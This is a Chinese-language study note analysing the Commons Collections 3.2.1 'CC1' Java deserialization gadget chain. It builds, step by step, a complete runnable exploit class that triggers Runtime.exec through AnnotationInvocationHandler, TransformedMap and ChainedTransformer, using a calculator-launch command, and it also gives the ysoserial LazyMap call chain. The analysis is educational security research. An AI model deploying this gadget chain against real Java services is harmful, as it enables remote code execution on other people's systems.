Commons Collections1 利用链分析笔记

简介: Commons Collections1 利用链分析

环境下载

环境jdk 8u65

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

然后下载sun包,点击zip

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载后解压,把 jdk-af660750b2f4/src/share/classes/sun 放到jdk中src文件夹中,默认有个src.zip 需要先解压            

然后创建maven项目

把src文件加载进来

640.png

 导入依赖                          

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies

 然后下载源码

 

环境准备完成。

我这里就不过多解释cc链了

这里在唠叨一下,反序列化漏洞

这里借用白日梦组长的图

反序列化原理

反序列化的原理是,类实现Serializable接口,接收任意对象执行readObject方法。

那如何找漏洞点?

结合之前代码审计的思路,比如关键字寻找exec,然后查找 那个方法调用了exec函数,然后又是那个类调用了这个方法。

如下图

a方法执行了readObject,在方法中有个o方法又调用了aaa,查找aaa发现里面还有一个o2.xxx 最终找到exec危险函数。

反序列化中离不开的两个东西,一个是map集合,一个是反射。

如果对反射不太了解,可以参考之前的博文

反射教程

640.png

命令执行的方式

分析之前,先捋一下,java中如何执行命令

常规命令执行

Runtime.getRuntime().exec("open -a calculator");

通过反射执行命令

ClassaClass = Runtime.class;              
Runtime r = Runtime.getRuntime();              
Method exec = aClass.getMethod("exec", String.class);              
exec.invoke(r,"open -a calculator");

通过Transformer执行命令

Runtime r = Runtime.getRuntime();              
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

通过上面三种方式,是不是稍微好理解了。

漏洞分析之Transformer

那么就开始分析漏洞了,在CC1这条链中,Transformer是一个接口

InvokerTransformer 实现Transformer接口,在实例化时需要传入三个参数(方法名,参数类型,参数列表),回调其transform方法即可回调input对象的相应方法(用于调用任意方法命令执行):

这里就是反射调用的代码,传递的三个参数代入进来就是exec,r,calc

640.png

 然后查找调用关系,这里可能有个疑问,那么多的的调用,为什么找最后一个,因为反序列化离不开map集合

这里的checkSetValue方法需要传入一个value,然后回调给Transformer

640.png

protected Object checkSetValue(Object value) {              
    return valueTransformer.transform(value);              
}

回找valueTransformer参数在哪里,这里用的protected修饰符,无法直接引用

640.png

关于 public private protected default也就是不写 他们四个的区别我这边简单阐述下

default (即默认,什么也不写): 在同一包内可见,不使用任何修饰符。使用对象:类、接口、变量、方法。

private : 在同一类内可见。使用对象:变量、方法。注意:不能修饰类(外部类)

public : 对所有类可见。使用对象:类、接口、变量、方法

protected : 对同一包内的类和所有子类可见。使用对象:变量、方法。注意:不能修饰类(外部类)

再接着找TransformedMap能够被调用访问的方法,这里有个decorate方法,传入map集合,在传入key和value。

那么就可以通过decorate方法进行调用,然后传入map集合,key为空,value为invokerTransformer。

相当于间接访问checkSetValue方法中的valueTransformer.transform,即 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"} ).transform(r);

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              
HashMap<Object,Object> hashedMap = new HashMap();              
TransformedMap.decorate(hashedMap,null,invokerTransformer);

然后再去找checkSetValue调用方法

MapEntry类中的setValue里面调用checkSetValue,这里需要设置一个value值,通过Map的for循环设置

640.png

中途代码验证

利用链完成了一半,尝试写代码进行验证      

 Runtime r = Runtime.getRuntime();              
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              
 HashMaphashedMap = new HashMap();              
 hashedMap.put("key","bbb");              
 Mapmap = TransformedMap.decorate(hashedMap, null, invokerTransformer);              
 for (Map.Entry entry:map.entrySet()){              
     entry.setValue(r);              
 }

打个断点可以看到,MapEntry中的键值对已经显示出来了

这里的checkSetValue也存在数据,说明刚才的分析是对的

640.png

最后到达漏洞点

640.png

寻找入口点

这里已经找到了setValue,完整的攻击链还差一步,寻找readObject

 

在sun.reflect.annotation下发现了readObject方法

遍历集合,获取key

640.png

查看最上面的代码

使用了class修饰 所以访问需要当前包下

构造方法传入两个参数,第一个是注解,第二个是map集合

刚好是符合上面构造的exp的参数,集合map

这里需要使用反射加载才能调用这个构造方法

 InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"});              
 HashMap<Object,Object> hashedMap = new HashMap();              
 hashedMap.put("key","bbb");              
 Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, invokerTransformer);              
 Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              
 Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);              
 constructor.setAccessible(true);              
 Object o = constructor.newInstance(Override.class, map);              
 serializable(o);              
 unserializable("ser.bin");

大致是这样的,但是无法运行。

通过反射序列化Runtime类

反序列必须继承Serializable接口,Runtime 无法序列化

setValue的值无法控制

640.png

遍历map中需要绕过两个if判断

640.png

解决三个问题

先解决Runtime问题

虽然Runtime无法序列化,但是Class是可以序列化的

Runtime.class

所以代码如下

Class c = Runtime.class;              
Method getRuntime = c.getMethod("getRuntime", null);              
Runtime r  = (Runtime) getRuntime.invoke(null, null);              
Method exec = c.getMethod("exec", String.class);              
exec.invoke(r,"open -a calculator");

 转换一下              

Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);              
        Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);              
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a calculator"}).transform(runtime);

这里可以优化下,使用数组,有个类,这里的构造函数中里面传入数组即可

           

优化数组代码 

Transformer[] transformer  = new Transformer[]{              
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})              
        };              
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

最终代码

// 命令执行代码              
        Transformer[] transformer  = new Transformer[]{              
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})              
        };              
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);              
        //遍历map              
        HashMap<Object,Object> hashedMap = new HashMap();              
        hashedMap.put("key","aaa");              
        Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);              
        // 反射引用AnnotationInvocationHandler              
        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              
        Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);              
        constructor.setAccessible(true);              
        Object o = constructor.newInstance(Override.class, map);              
        //序列化              
        serializable(o);              
        unserializable("ser.bin");

在解决if判断

这里两个if 分别是检测key中的value是否为空,第二个if是判断参数是否强转。

这里打个断点调试下

这里的memberType是传入的注解 Override,成员变量为空

这里的memberValue是map中的Override,通过这个Override寻找这个value,下一步后,直接跳出判断,

override是单独的接口,没有成员方法,这里换成其他注解 target

640.png

发现他有个成员方法,value            

640.png

替换后重新断点,发现找到了参数

           

这里第二个if也成功绕过

         

然后就是第三个参数是否可控,点击setValue 进来,跳转到transformmap中的check方法,value为固定的,无法控制执行任意类

640.png

但在一开始查找transform,会有一个ClosureTransformer类,这里的transform传递的参数不论是什么,都会返回一个常量,因此通过这个进行覆盖。

原本调用valueTransformer.transform(Object),中途在换 ClosureTransformer.transform(Object) 只要最终调用到transform(Object)就可以执行任意类。

640.png

在数组中添加一下代码,把value替换为Runtime.class即可执行命令

new ConstantTransformer(Runtime.class)

现在屡屡,这就是最终的调用链,在最终调用transform的时候,用的是不同类的同名函数。

           

最终exp

package com.test.cc;              
import org.apache.commons.collections.Transformer;              
import org.apache.commons.collections.functors.ChainedTransformer;              
import org.apache.commons.collections.functors.ConstantTransformer;              
import org.apache.commons.collections.functors.InvokerTransformer;              
import org.apache.commons.collections.map.TransformedMap;              
import java.io.*;              
import java.lang.annotation.Target;              
import java.lang.reflect.Constructor;              
import java.util.HashMap;              
import java.util.Map;              
public class Demo {              
    public static void main(String[] args) throws Exception {              
        // 命令执行代码              
        Transformer[] transformer  = new Transformer[]{              
                new ConstantTransformer(Runtime.class),              
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),              
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),              
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})              
        };              
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);              
        //遍历map              
        HashMap<Object,Object> hashedMap = new HashMap();              
        hashedMap.put("value","aaa");              
        Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);              
        // 反射引用AnnotationInvocationHandler              
        Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");              
        Constructor constructor = aClass.getDeclaredConstructor(Class.class, Map.class);              
        constructor.setAccessible(true);              
        Object o = constructor.newInstance(Target.class, map);              
        //序列化              
        serializable(o);              
        unserializable("ser.bin");              
    }              
    public static void serializable(Object o) throws Exception {              
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));              
        oos.writeObject(o);              
    }              
    public static  Object unserializable(String filename) throws Exception{              
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));              
        Object o = ois.readObject();              
        return o;              
    }              
}

Ysoserial 用的是LazyMap,我们分析的是TransformedMap,中间稍微有点不太一样

    ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
          AnnotationInvocationHandler.invoke()
            LazyMap.get()
              ChainedTransformer.transform()
                ConstantTransformer.transform()
                InvokerTransformer.transform()
                  Method.invoke()
                    Class.getMethod()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.getRuntime()
                InvokerTransformer.transform()
                  Method.invoke()
                    Runtime.exe

    总结

    在学习CC链的时候,最主要的还是动手练习,哪怕跟着视频抄,也会有收获。

    相关文章
    |
    7月前
    |
    Java Maven
    JAVA反序列化学习笔记4.Commons Collections2分析
    JAVA反序列化学习笔记4.Commons Collections2分析
    |
    7月前
    |
    安全 Java
    JAVA反序列化学习笔记2.Commons Collections1分析
    JAVA反序列化学习笔记2.Commons Collections1分析
    |
    7月前
    |
    安全 Java
    JAVA反序列化学习笔记3.Commons Collections5分析
    JAVA反序列化学习笔记3.Commons Collections5分析
    |
    10月前
    |
    Java
    Java流式操作——Collectors工具类
    maxBy:获取流中最大元素;minBy:获取流中最小元素
    |
    12月前
    |
    Java fastjson Shell
    Commons-collections3 利用链分析笔记
    Commons-collections3 利用链分析
    |
    12月前
    |
    安全 Java
    Java安全之Commons Collections3分析
    在学习完成前面的CC1链和CC2链后,其实再来看CC3链会比较轻松。
    62 0
    commons-collections常用工具类
    commons-collections常用工具类
    74 0
    |
    设计模式 缓存 Java
    Java两大工具库:Commons和Guava(6)
    除了操作集合、限流和缓存,Guava还有另一个隐秘的功能:事件总线EventBus机制——是发布-订阅模式的实现,不需要显式地注册回调——比观察者模式更灵活。
    118 0
    |
    存储 缓存 算法
    【Java原理探索】Guava Collections实战使用相关不一般的集合框架
    【Java原理探索】Guava Collections实战使用相关不一般的集合框架
    68 0
    |
    缓存 安全 NoSQL
    Java本地缓存工具,LoadingCache的使用(附代码) | Java工具类
    Java本地缓存工具,LoadingCache的使用(附代码) | Java工具类